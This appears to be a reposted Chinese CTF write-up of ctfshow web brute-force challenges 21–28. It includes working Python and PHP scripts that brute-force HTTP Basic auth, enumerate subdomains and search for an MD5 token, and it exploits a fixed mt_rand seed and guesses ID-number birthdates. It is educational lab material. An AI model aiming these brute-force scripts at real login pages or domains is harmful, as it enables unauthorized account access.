ctfshow web入门 爆破
Posted parkour-
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ctfshow web入门 爆破相关的知识,希望对你有一定的参考价值。
目录
web21
custom iterator
随便输入一个密码,然后抓包,会是这样
会发现一个base64编码,解码发现它的形式为——admin:密码
所以在这个时候,我们要用自定义迭代器
第一段为admin
第二段为“:”
第三段为题目附件下载的密码
特别注意的是,要进行base64加密
而且不能进行字符url编码,因为,在base64加密后,会有=,进行url编码可能出现错误
爆破完成!!!得到flag了
第二个hint也提供了python的脚本,也可以用python跑出来的
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-11-20 19:16:49
# @Last Modified by: h1xa
# @Last Modified time: 2020-11-20 20:28:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
import time
import requests
import base64
url = 'http://41a801fe-a420-47bc-8593-65c3f26b7efa.chall.ctf.show/index.php'
password = []
with open("1.txt", "r") as f:
while True:
data = f.readline()
if data:
password.append(data)
else:
break
for p in password:
strs = 'admin:'+ p[:-1]
header={
'Authorization':'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8'))
}
rep =requests.get(url,headers=header)
time.sleep(0.2)
if rep.status_code ==200:
print(rep.text)
break
web22
域名爆破
http://z.zcjun.com/,但是这个题没有爆出来,
在看别人的wp也有用脚本的,
#用法: python3 subdomain.py xxxx.com
import socket
import sys
domain = sys.argv[1]
with open('subdomain.txt','r') as f:
for i in f:
i = i.strip()#去空
subdomain = i + '.'+domain
try:
ip = socket.gethostbyname(subdomain)
print("\\033[1;32;40m %s \\033[0m" % (subdomain+' '+ip))
except Exception as e:
pass
然后查看了hint,直接访问http://flag.ctfer.com/index.php,得到flag
flag{ctf_show_web}
web23
源码如下
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 11:43:51
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include('flag.php');
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}
?>
我直接偷的大佬们的代码,自己还不会写
<?php
error_reporting(0);
$a="asdfghjklqwertyuiopzxcvbnm1234567890";
for($i=0;$i<36;$i++){
for($j=0;$j<36;$j++){
$token=$a[$i].$a[$j];
$token = md5($token);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $a[$i].$a[$j];
exit(0);
}
}
}
}
?>
import itertools
import hashlib
zimu = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
for i in itertools.product('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890', repeat=3):
blast = ''.join(i)
md5_ins = hashlib.md5((str(blast)).encode('utf-8'))
md5 = md5_ins.hexdigest()
if md5[1:2] not in zimu and md5[1:2] == md5[14:15] and md5[14:15] == md5[17:18] and md5[31:32] == '3':
print('1:',blast,':',md5)
运行后为3j
然后直接传递token=3j即可得到flag
web24
mt_scrand(seed)这个函数的意思,是通过分发seed种子,然后种子有了后,靠mt_rand()生成随机 数。 提示:从 PHP 4.2.0 开始,随机数生成器自动播种,因此没有必要使用该函数 因此不需要播种,并且如果设置了 seed参数 生成的随机数就是伪随机数,意思就是每次生成的随机数 是一样的
源码如下
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 13:26:39
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 13:53:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
php的伪随机数,
<?php
mt_srand(372619038);
echo(mt_rand());
?>
在kali上运行得到结果为1155388967
传递?r=1155388967可得flag
web25
emmm,我太菜了
本人能力有限,看了大佬的wp也没有做出来
后期会更加勤奋学习,补上的!!!
web26
首先是一个大页面
然后是一个管理系统安装
也告诉了我们所有的信息,但是输入上去并不行,感觉需要爆破一下密码
抓包,爆破走起~
字典就用简单弱口令的字典就能爆出来
web27
emm,这个题感觉好有趣
首先是一个教务系统的页面,需要输入学号和密码
然后我们继续找信息,有一个录取名单我们下载打开一下
我们得到了一个名单,也不知道是干啥的,然后我们打开查询系统
我们就知道了,录取名单有姓名和身份证号
但是吧,身份证号有隐藏部分,这里加一下身份证号的小知识,简单了解一下
1.2位表示省(自治区、直辖市、特别行政区)。 3.4位表示市(地级市、自治州、地区、盟及直辖市所属区和县的汇总码) 5.6位表示县(区、县级市、旗) 7-14(身份证号码第七位到第十四位)表示编码对象出生的年、月、日, 15.16位表示所在地的派出所的代码。 17位标识性别:奇数表示男性,偶数表示女性。 18位为校验码
然后这里隐藏的部分就是出生的日期,然后我们抓包进行爆破
特别注意:这个页面有点问题,火狐会抓不全包,POST参数会抓不到,我们可以在别的浏览器查看,也可以直接用别浏览器进行抓包!!!
yyyyMMdd表示xxxx年xx月xx日
在其中yyyyMMdd为日期格式化就是年-月-日的意思,
再补充一下,类似这种的还有HH:mm:ss——时:分:秒
然后下面可以添加add prefix和add suffix
然后直接爆破
爆出来得到了身份证号,将编码解码一下,unicode转中文
我们可以知道了学号为02015237,密码为621022199002015237
然后我们返回最初的登录页面,登录,得到flag
web28
爆破目录
看一下题目提示
我们直接抓包,然后选择cluster bomb
然后爆出来了
做了ctfshow爆破的题目,真的有收获,会了一些其他爆破姿势,奈斯!
以上是关于ctfshow web入门 爆破的主要内容,如果未能解决你的问题,请参考以下文章